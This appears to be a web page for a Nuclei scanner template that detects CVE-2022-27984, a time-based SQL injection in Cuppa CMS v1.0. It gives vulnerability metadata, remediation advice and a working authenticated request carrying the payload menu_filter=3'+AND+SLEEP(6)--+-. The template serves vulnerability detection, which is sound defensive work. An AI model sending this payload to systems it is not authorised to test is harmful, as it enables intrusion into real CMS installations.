Cuppa CMS v1.0 - SQL injection

ID: CVE-2022-27984

Severity: critical

Author: theamanrawat

Tags: time-based-sqli,cve,cve2022,sqli,cuppa,authenticated,cuppacms

Description

CuppaCMS v1.0 was discovered to contain a SQL injection vulnerability via the menu_filter parameter at /administrator/templates/default/html/windows/right.php.

YAML Source

id: CVE-2022-27984

info:
  name: Cuppa CMS v1.0 - SQL injection
  author: theamanrawat
  severity: critical
  description: |
    CuppaCMS v1.0 was discovered to contain a SQL injection vulnerability via the menu_filter parameter at /administrator/templates/default/html/windows/right.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire CMS system.
  remediation: |
    Apply the latest patch or upgrade to a newer version of Cuppa CMS that addresses the SQL injection vulnerability (CVE-2022-27984).
  reference:
    - https://github.com/CuppaCMS/CuppaCMS
    - https://nvd.nist.gov/vuln/detail/CVE-2022-27984
    - https://www.cuppacms.com/
    - http://cuppa.com
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-27984
    cwe-id: CWE-89
    epss-score: 0.02079
    epss-percentile: 0.89045
    cpe: cpe:2.3:a:cuppacms:cuppacms:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: cuppacms
    product: cuppacms
  tags: time-based-sqli,cve,cve2022,sqli,cuppa,authenticated,cuppacms

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        user={{username}}&password={{password}}&language=en&task=login
      - |
        @timeout: 20s
        POST /templates/default/html/windows/right.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        menu_filter=3'+AND+SLEEP(6)--+-&id=211&url=components%2Fmenu%2Fhtml%2Fedit.php&path=component%2Fmenu%2F%26menu_filter%3D3&uniqueClass=window_right_7526357

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code_2 == 200'
          - 'contains(content_type_2, "text/html")'
          - 'contains(body_2, "components/menu/classes/functions.php")'
        condition: and
# digest: 4a0a0047304502203f49fb430c1ab52f4eb8b0405a4b87c64e38bd2a7941d591eca5157adadec7c0022100d22a5781a3be80671cb07f436473639ec123772516b98198c0ae4731ae159e01:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-27984.yaml"

View on Github